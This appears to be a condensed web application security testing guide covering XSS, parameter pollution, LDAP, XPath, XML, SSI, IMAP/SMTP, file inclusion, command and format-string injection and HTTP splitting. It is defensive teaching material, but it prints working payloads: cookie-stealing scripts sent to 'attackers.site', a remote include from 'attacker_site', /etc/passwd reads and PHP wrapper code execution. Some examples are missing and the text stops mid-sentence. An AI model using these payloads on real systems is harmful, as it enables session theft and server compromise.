7.0 Input Validation Testing
Last updated
Last updated
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
7.1 Testing for Reflected Cross Site Scripting
Detect Input Vectors
Detect input vectors. For each web page, the tester must determine all the web application’s user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.
Analyze Input Vectors
Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. Some example of such input data are the following:
<script>alert(123)</script>
"><script>alert(document.cookie)</script>
For a comprehensive list of potential test strings see the XSS Filter Evasion Cheat Sheet.
Check Impact
For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application’s security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
>
(greater than)
<
(less than)
&
(ampersand)
'
(apostrophe or single quote)
"
(double quote)
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference.
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:
\
(new line)
\
(carriage return)
'
(apostrophe or single quote)
"
(double quote)
\\
(backslash)
\\uXXXX
(unicode values)
Bypass XSS Filters
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.
Thus, the majority of XSS prevention must depend on the web application’s sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A deny list may not include all possible attack strings, an allow list may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.
The XSS Filter Evasion Cheat Sheet documents common filter evasion tests.
HTTP Parameter Pollution (HPP)
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the Testing for HTTP Parameter pollution for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern- based security mechanisms. Regular attack:
http://example/page.php?param=<script>[...]</script>
Attack using HPP:
http://example/page.php?param=<script¶m=>[...]</¶m=script>
7.2 Testing for Stored Cross Site Scripting
Input Forms
User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
File Manager: application that allows upload of files
Application settings/preferences: application that allows the user to set preferences
Forum/Message board: application that permits exchange of posts among users
Blog: if the blog application permits to users submitting comments
Log: if the application stores some users input into logs.
File Upload
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.
Consider the following HTTP POST request for file upload:
`POST /fileupload.aspx HTTP/1.1 […] Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt" Content-Type: text/plain
test`
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif
can instead be set to text/html
. In this case the file will be treated by the client browser as HTML.
HTTP POST Request forged:
`Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif" Content-Type: text/html
<script>alert(document.cookie)</script>`
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.
7.3 Testing for HTTP Verb Tampering
This content has been merged into: Test HTTP Methods
7.4 Testing for HTTP Parameter Pollution
Authentication Bypass
An even more critical HPP vulnerability was discovered in Blogger, the popular blogging platform. The bug allowed malicious users to take ownership of the victim’s blog by using the following HTTP request (https://www.blogger.com/add-authors.do
):
`POST /add-authors.do HTTP/1.1 [...]
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com(attacker email)&ok=Invite`
The flaw resided in the authentication mechanism used by the web application, as the security check was performed on the first blogID
parameter, whereas the actual operation used the second occurrence.
Expected Behavior by Application Server
The following table illustrates how different web technologies behave in presence of multiple occurrences of the same HTTP parameter.
Given the URL and querystring: http://example.com/?color=red&color=blue
Web Application Server Backend | Parsing Result | Example |
---|---|---|
Server-Side HPP
Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. page?par1=val1
Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. page?par1=HPP_TEST1
Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. page?par1=val1&par1=HPP_TEST1
Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.
Client-Side HPP
In particular, pay attention to responses having HPP vectors within data
, src
, href
attributes or forms actions. Again, whether or not this default behavior reveals a potential vulnerability depends on the specific input validation, filtering and application business logic. In addition, it is important to notice that this vulnerability can also affect query string parameters used in XMLHttpRequest (XHR), runtime attribute creation and other plugin technologies (e.g. Adobe Flash’s flashvars variables).
7.6 Testing for LDAP Injection
Example 1: Search Filters
Let’s suppose we have a web application using a search filter like the following one:
searchfilter="(cn="+user+")"
which is instantiated by an HTTP request like this:
http://www.example.com/ldapsearch?user=John
If the value John
is replaced with a *
, by sending the request:
http://www.example.com/ldapsearch?user=*
the filter will look like:
searchfilter="(cn=*)"
which matches every object with a ‘cn’ attribute equals to anything.
If the application is vulnerable to LDAP injection, it will display some or all of the user’s attributes, depending on the application’s execution flow and the permissions of the LDAP connected user.
A tester could use a trial-and-error approach, by inserting in the parameter (
, |
, &
, *
and the other characters, in order to check the application for errors.
Example 2: Login
If a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL and XPATH injection ).
Let’s suppose a web application uses a filter to match LDAP user/password pair.
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";
By using the following values:
user=)(uid=))(|(uid=* pass=password
the search filter will results in:
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
which is correct and always true. This way, the tester will gain logged-in status as the first user in LDAP tree.
7.7 Testing for XML Injection
Tag Injection
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.
Let’s considering the previous application. By inserting the following values:
the application will build a new node and append it to the XML database:
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>gandalf@middleearth.com</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>Stefan0@whysec.hmm</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>s4tan@hell.com</mail> <userid>0</userid> <mail>s4tan@hell.com</mail> </user> </users>
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don’t comply with it.
Let’s suppose that the XML document is specified by the following DTD:
<!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username,password,userid,mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]>
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence:
In this case, the final XML database is:
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>gandalf@middleearth.com</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>Stefan0@whysec.hmm</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password><!--</password> <userid>500</userid> <mail>--><userid>0</userid><mail>s4tan@hell.com</mail> </user> </users>
The original userid
node has been commented out, leaving only the injected one. The document now complies with its DTD rules.
Source Code Review
The following Java API may be vulnerable to XXE if they are not configured properly.
javax.xml.parsers.DocumentBuilder javax.xml.parsers.DocumentBuildFactory org.xml.sax.EntityResolver org.dom4j.* javax.xml.parsers.SAXParser javax.xml.parsers.SAXParserFactory TransformerFactory SAXReader DocumentHelper SAXBuilder SAXParserFactory XMLReaderFactory XMLInputFactory SchemaFactory DocumentBuilderFactoryImpl SAXTransformerFactory DocumentBuilderFactoryImpl XMLReader Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
Check source code if the docType, external DTD, and external parameter entities are set as forbidden uses.
In addition, the Java POI office reader may be vulnerable to XXE if the version is under 3.10.1.
The version of POI library can be identified from the filename of the JAR. For example,
poi-3.8.jar
poi-ooxml-3.8.jar
The followings source code keyword may apply to C.
libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory, xmlCtxtReadDoc ,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO
libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader
7.8 Testing for SSI Injection - Server-Side Includes
The below example returns the value of the variable. The references section has helpful links with server-specific documentation to help you better assess a particular system.
<!--#echo var="VAR" -->
When using the include
directive, if the supplied file is a CGI script, this directive will include the output of the CGI script. This directive may also be used to include the content of a file or list files in a directory:
<!--#include virtual="FILENAME" -->
To return the output of a system command:
<!--#exec cmd="OS_COMMAND" -->
If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served.
The SSI directives can also be injected in the HTTP headers, if the web application is using that data to build a dynamically generated page:
GET / HTTP/1.1 Host: www.example.com Referer: <!--#exec cmd="/bin/ps ax"--> User-Agent: <!--#include virtual="/proc/version"-->
7.9 Testing for XPath Injection
The XPath attack pattern was first published by Amit Klein and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let’s imagine a login page that manages the authentication to an application in which the user must enter their username and password. Let’s assume that our database is represented by the following XML file:
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <account>admin</account> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <account>guest</account> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <account>guest</account> </user> </users>
An XPath query that returns the account whose username is gandalf
and the password is !c3
would be the following:
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:
Username: ' or '1' = '1 Password: ' or '1' = '1
Looks quite familiar, doesn’t it? Using these parameters, the query becomes:
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote ('
) in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.
If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. Blind XPath Injection is explained in more detail by Amit Klein in the referenced paper.
7.10 Testing for IMAP SMTP Injection
Identifying Vulnerable Parameters
In order to detect vulnerable parameters, the tester has to analyze the application’s ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a HTTP 200 OK
response message.
It is important to note that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.
IMAP special parameters that should be used are:
On the IMAP server | On the SMTP server |
---|---|
In this example, the “mailbox” parameter is being tested by manipulating all requests with the parameter in:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
The following examples can be used.
Assign a null value to the parameter:
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
Substitute the value with a random value:
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
Add other values to the parameter:
http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
Add non standard special characters (i.e.: \\
, '
, "
, @
, #
, !
, |
):
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
Eliminate the parameter:
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
The final result of the above testing gives the tester three possible situations: S1 - The application returns a error code/message S2 - The application does not return an error code/message, but it does not realize the requested operation S3 - The application does not return an error code/message and realizes the operation requested normally
Situations S1 and S2 represent successful IMAP/SMTP injection.
An attacker’s aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation.
Let’s suppose that a user retrieves the email headers using the following HTTP request:
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
An attacker might modify the value of the parameter INBOX by injecting the character "
(%22 using URL encoding):
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
In this case, the application answer may be:
The situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.
On the other hand, the last situation (S3) is not revelant in this paragraph.
List of vulnerable parametersAffected functionalityType of possible injection (IMAP/SMTP)
Understanding the Data Flow and Deployment Structure of the Client
After identifying all vulnerable parameters (for example, passed_id
), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.
In this test case, we have detected that the application’s passed_id
parameter is vulnerable and is used in the following request:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
Using the following test case (providing an alphabetical value when a numerical value is required):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
will generate the following error message:
In this example, the error message returned the name of the executed command and the corresponding parameters.
In other situations, the error message (not controlled
by the application) contains the name of the executed command, but reading the suitable RFC allows the tester to understand what other possible commands can be executed.
If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is CREATE
. According to the RFC, the CREATE
command accepts one parameter which specifies the name of the mailbox to create.
List of IMAP/SMTP commands affectedType, value, and number of parameters expected by the affected IMAP/SMTP commands
IMAP/SMTP Command Injection
Once the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality.
This stage has two possible outcomes:
The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY
, NOOP
, AUTHENTICATE
, LOGIN
, and LOGOUT
.
The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.
In any case, the typical structure of an IMAP/SMTP Injection is as follows:
Header: ending of the expected command;
Body: injection of the new command;
Footer: beginning of the expected command.
It is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (%0d%0a
) sequence.
Let’s suppose that in the Identifying vulnerable parameters stage, the attacker detects that the parameter message_id
in the following request is vulnerable:
http://<webmail>/read_email.php?message_id=4791
Let’s suppose also that the outcome of the analysis performed in the stage 2 (“Understanding the data flow and deployment structure of the client”) has identified the command and arguments associated with this parameter as:
FETCH 4791 BODY[HEADER]
In this scenario, the IMAP injection structure would be:
http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791
Which would generate the following commands:
???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER]
where:
Header = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a Footer = V101 FETCH 4791
List of IMAP/SMTP commands affectedArbitrary IMAP/SMTP command injection
7.11 Testing for Code Injection
Testing for PHP Injection Vulnerabilities
Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.
Testing for Local File Inclusion
How to Test
Since LFI occurs when paths passed to include
statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.
Consider the following example:
http://vulnerable_host/preview.php?file=example.html
This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
Typical proof-of-concept would be to load passwd file:
http://vulnerable_host/preview.php?file=../../../../etc/passwd
If the above mentioned conditions are met, an attacker would see something like the following:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin alex:x:500:500:alex:/home/alex:/bin/bash margo:x:501:501::/home/margo:/bin/bash ...
Even when such a vulnerability exists, its exploitation could be more complex in real life scenarios. Consider the following piece of code:
<?php include($_GET['file'].".php"); ?>
Simple substitution with a random filename would not work as the postfix .php
is appended to the provided input. In order to bypass it, a tester can use several techniques to get the expected exploitation.
Null Byte Injection
The null character
(also known as null terminator
or null byte
) is a control character with the value zero present in many character sets that is being used as a reserved character to mark the end of a string. Once used, any character after this special byte will be ignored. Commonly the way to inject this character would be with the URL encoded string %00
by appending it to the requested path. In our previous sample, performing a request to http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
would ignore the .php
extension being added to the input filename, returning to an attacker a list of basic users as a result of a successful exploitation.
Path and Dot Truncation
Most PHP installations have a filename limit of 4096 bytes. If any given filename is longer than that length, PHP simply truncates it, discarding any additional characters. Abusing this behavior makes it possible to make the PHP engine ignore the .php
extension by moving it out of the 4096 bytes limit. When this happens, no error is triggered; the additional characters are simply dropped and PHP continues its execution normally.
This bypass would commonly be combined with other logic bypass strategies such as encoding part of the file path with Unicode encoding, the introduction of double encoding, or any other input that would still represent the valid desired filename.
PHP Wrappers
Local File Inclusion vulnerabilities are commonly seen as read only vulnerabilities that an attacker can use to read sensitive data from the server hosting the vulnerable application. However, in some specific implementations this vulnerability can be used to upgrade the attack from LFI to Remote Code Execution vulnerabilities that could potentially fully compromise the host.
This enhancement is common when an attacker could be able to combine the LFI vulnerability with certain PHP wrappers.
A wrapper is a code that surrounds other code to perform some added functionality. PHP implements many built-in wrappers to be used with file system functions. Once their usage is detected during the testing process of an application, it’s a good practice to try to abuse it to identify the real risk of the detected weakness(es). Below you can get a list with the most commonly used wrappers, even though you should consider that it is not exhaustive and at the same time it is possible to register custom wrappers that if employed by the target, would require a deeper ad hoc analysis.
PHP Filter
Used to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.
The wrapper can be used like php://filter/convert.base64-encode/resource=FILE
where FILE
is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.
PHP ZIP
On PHP 7.2.0, the zip://
wrapper was introduced to manipulate zip
compressed files. This wrapper expects the following parameter structure: zip:///filename_path#internal_filename
where filename_path
is the path to the malicious file and internal_filename
is the path where the malicious file is place inside the processed ZIP file. During the exploitation, it’s common that the #
would be encoded with it’s URL Encoded value %23
.
Abuse of this wrapper could allow an attacker to design a malicious ZIP file that could be uploaded to the server, for example as an avatar image or using any file upload system available on the target website (the php:zip://
wrapper does not require the zip file to have any specific extension) to be executed by the LFI vulnerability.
In order to test this vulnerability, the following procedure could be followed to attack the previous code example provided.
Create the PHP file to be executed, for example with the content <?php phpinfo(); ?>
and save it as code.php
Compress it as a new ZIP file called target.zip
Rename the target.zip
file to target.jpg
to bypass the extension validation and upload it to the target website as your avatar image.
Supposing that the target.jpg
file is stored locally on the server to the ../avatar/target.jpg
path, exploit the vulnerability with the PHP ZIP wrapper by injecting the following payload to the vulnerable URL: zip://../avatar/target.jpg%23code
(remember that %23
corresponds to #
).
Since on our sample the .php
extension is concatenated to our payload, the request to http://vulnerable_host/preview.php?file=zip://../avatar/target.jpg%23code
will result in the execution of the code.php
file existing in the malicious ZIP file.
PHP Data
Available since PHP 5.2.0, this wrapper expects the following usage: data://text/plain;base64,BASE64_STR
where BASE64_STR
is expected to be the Base64 encoded content of the file to be processed. It’s important to consider that this wrapper would only be avaliable if the option allow_url_include
would be enabled.
In order to test the LFI using this wrapper, the code to be executed should be Base64 encoded, for example, the <?php phpinfo(); ?>
code would be encoded as: PD9waHAgcGhwaW5mbygpOyA/Pg==
so the payload would result as: data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
.
PHP Expect
This wrapper, which is not enabled by default, provides access to processes stdio
, stdout
and stderr
. Expecting to be used as expect://command
the server would execute the provided command on BASH
and return it’s result.
Testing for Remote File Inclusion
Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a black-box testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:
$incfile = $_REQUEST["file"]; include($incfile.".php");
In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code results vulnerable to this type of attack. Consider the following URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
In this case the remote file is going to be included and any code contained in it is going to be run by the server.
7.12 Testing for Command Injection
How to Test
When viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol |
onto the end of the filename.
Example URL before alteration:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Example URL modified:
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
This will execute the command /bin/ls
.
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B
is URL encoded and decodes to semicolon
Example:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Example
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (http://www.example.com/public/doc
):
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (http://www.example.com/public/doc
):
If the application doesn’t validate the request, we can obtain the following result:
In this case, we have successfully performed an OS injection attack.
Special Characters for Comand Injection
The following special character can be used for command injection such as |
;
&
$
>
<
'
!
cmd1|cmd2
: Uses of |
will make command 2 to be executed weather command 1 execution is successful or not.
cmd1;cmd2
: Uses of ;
will make command 2 to be executed weather command 1 execution is successful or not.
cmd1||cmd2
: Command 2 will only be executed if command 1 execution fails.
cmd1&&cmd2
: Command 2 will only be executed if command 1 execution succeeds.
$(cmd)
: For example, echo $(whoami)
or $(touch test.sh; echo 'ls' > test.sh)
cmd
: It’s used to execute specific command. For example, whoami
>(cmd)
: >(ls)
<(cmd)
: <(ls)
7.13 Testing for Format String Injection
Testers can perform a manual test using a web browser or other web API debugging tools. Browse to the web application or site such that the query has conversion specifiers. Note that most conversion specifiers need encoding if sent inside a URL because they contain special characters including %
and {
. The test can introduce a string of specifiers %s%s%s%n
by browsing with the following URL:
https://vulnerable_host/userinfo?username=%25s%25s%25s%25n
If the web site is vulnerable, the browser or tool should receive an error, which may include a timeout or an HTTP return code 500.
The Java code returns the error
java.util.MissingFormatArgumentException: Format specifier '%s'
Depending on the C implementation, the process may crash completely with Segmentation Fault
.
Fuzzing tools including wfuzz can automate injection tests. For wfuzz, start with a text file (fuzz.txt in this example) with one input per line:
fuzz.txt:
alice %s%s%s%n %p%p%p%p%p {event.__init__.__globals__[CONFIG][SECRET_KEY]}
The fuzz.txt
file contains the following:
A valid input alice
to verify the application can process a normal input
Two strings with C-like conversion specifiers
One Python conversion specifier to attempt to read global variables
To send the fuzzing input file to the web application under test, use the following command:
wfuzz -c -z file,fuzz.txt,urlencode https://vulnerable_host/userinfo?username=FUZZ
In the above call, the urlencode
argument enables the approprate escaping for the strings and FUZZ
(with the capital letters) tells the tool where to introduce the inputs.
An example output is as follows
000000002: 500 0 L 5 W 142 Ch "%25s%25s%25s%25n" 000000003: 500 0 L 5 W 137 Ch "%25p%25p%25p%25p%25p" 000000004: 200 0 L 1 W 48 Ch "%7Bevent.init.globals%5BCONFIG%5D%5BSECRET_KEY%5D%7D" 000000001: 200 0 L 1 W 5 Ch "alice"`
The above result validates the application’s weakness to the injection of C-like conversion specifiers %s
and %p
.
7.14 Testing for Incubated Vulnerability - persistence
File Upload Example
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.
XSS Example on a Bulletin Board
Introduce JavaScript code as the value for the vulnerable field, for instance <script>document.write('<img src="<http://attackers.site/cv.jpg?'+document.cookie+'">'>)</script>
Direct users to browse the vulnerable page or wait for the users to browse it. Have a “listener” at attackers.site
host listening for all incoming connections.
When users browse the vulnerable page, a request containing their cookie (document.cookie
is included as part of the requested URL) will be sent to the attackers.site
host, such as: GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1
Use cookies obtained to impersonate users at the vulnerable site.
SQL Injection Example
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Testing for SQL Injection. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do.
The tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.
In a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let’s suppose there is a footer
table at the database with all footers for the web site pages, including a notice
field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the notice
field at the footer
table in the database.
SELECT field1, field2, field3 FROM table_x WHERE field2 = 'x'; UPDATE footer SET notice = 'Copyright 1999-2030%20 <script>document.write(\\'<img src="<http://attackers.site/cv.jpg?\\'+document.cookie+\\'>">\\')</script>' WHERE notice = 'Copyright 1999-2030';
Now, each user browsing the site will silently send their cookies to the attackers.site
.
Misconfigured Server
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means).
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
7.15 Testing for HTTP Splitting Smuggling
HTTP Splitting
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user-submitted value. Let’s say for instance that the user is asked to choose whether they prefer a standard or advanced web interface. The choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corresponding page.
More specifically, if the parameter ‘interface’ has the value ‘advanced’, the application will answer with the following:
HTTP/1.1 302 Moved Temporarily Date: Sun, 03 Dec 2005 16:22:19 GMT Location: <http://victim.com/main.jsp?interface=advanced> <snip>
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the ‘interface’ parameter the sequence %0d%0a, which represents the CRLF sequence that is used to separate different lines. At this point, testers will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests.
Let’s say that in the previous example the tester passes the following data as the interface parameter:
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>
The resulting answer from the vulnerable application will therefore be the following:
`HTTP/1.1 302 Moved Temporarily Date: Sun, 03 Dec 2005 16:22:19 GMT Location: http://victim.com/main.jsp?interface=advanced Content-Length: 0
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 35
<html>Sorry,%20System%20Down</html> <other data>`
The web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for /index.html
, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html
